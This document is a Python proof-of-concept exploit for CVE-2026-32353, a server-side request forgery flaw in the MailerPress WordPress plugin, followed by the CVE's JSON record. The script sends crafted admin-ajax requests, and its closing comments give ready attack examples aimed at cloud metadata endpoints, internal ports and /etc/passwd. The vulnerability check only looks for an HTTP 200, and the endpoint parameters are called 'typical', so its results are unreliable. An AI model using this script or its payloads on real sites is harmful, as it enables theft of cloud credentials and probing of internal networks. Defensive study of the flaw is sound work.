CVE-2026-32353

import requests import sys # CVE-2026-32353 MailerPress SSRF Vulnerability PoC # Target: WordPress site with MailerPress plugin <= 1.4.2 # Vulnerability: Server-Side Request Forgery in Team Mailer feature def test_ssrf(target_url, attack_url): """ Test for SSRF vulnerability in MailerPress plugin Args: target_url: Base URL of the WordPress site attack_url: URL to make the server request (e.g., internal service) Returns: bool: True if vulnerable, False otherwise """ # Target endpoint (typical MailerPress AJAX handler) endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Construct SSRF payload # The vulnerability lies in insufficient URL validation payload = { 'action': 'mailerpress_team_mailer', 'mailerpress_url': attack_url, # User-controlled URL parameter 'mailerpress_type': 'fetch' } try: response = requests.post(endpoint, data=payload, timeout=10) # Check if the server made a request to our target if response.status_code == 200: # Additional checks can be added based on response content return True except requests.exceptions.RequestException as e: print(f"Error: {e}") return False return False def main(): if len(sys.argv) < 3: print("Usage: python poc.py <target_url> <attack_url>") print("Example: python poc.py http://example.com http://169.254.169.254/latest/meta-data/") sys.exit(1) target_url = sys.argv[1] attack_url = sys.argv[2] print(f"[*] Testing SSRF vulnerability on {target_url}") print(f"[*] Attack target: {attack_url}") if test_ssrf(target_url, attack_url): print("[+] Target is vulnerable to SSRF!") print(f"[+] The server made a request to: {attack_url}") else: print("[-] Target may not be vulnerable or plugin not found") if __name__ == "__main__": main() # Example attack scenarios: # 1. Cloud metadata access: python poc.py http://target.com http://169.254.169.254/latest/meta-data/ # 2. Internal port scan: python poc.py http://target.com http://127.0.0.1:22/ # 3. Local file read: python poc.py http://target.com file:///etc/passwd

{"cve": {"id": "CVE-2026-32353", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:47.453", "lastModified": "2026-04-22T21:30:26.497", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Server-Side Request Forgery (SSRF) vulnerability in MailerPress Team MailerPress mailerpress allows Server Side Request Forgery.This issue affects MailerPress: from n/a through <= 1.4.2."}, {"lang": "es", "value": "Vulnerabilidad de Falsificación de Petición del Lado del Servidor (SSRF) en MailerPress Team MailerPress mailerpress permite la Falsificación de Petición del Lado del Servidor. Este problema afecta a MailerPress: desde n/a hasta &lt;= 1.4.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/mailerpress/vulnerability/wordpress-mailerpress-plugin-1-4-2-server-side-request-forgery-ssrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}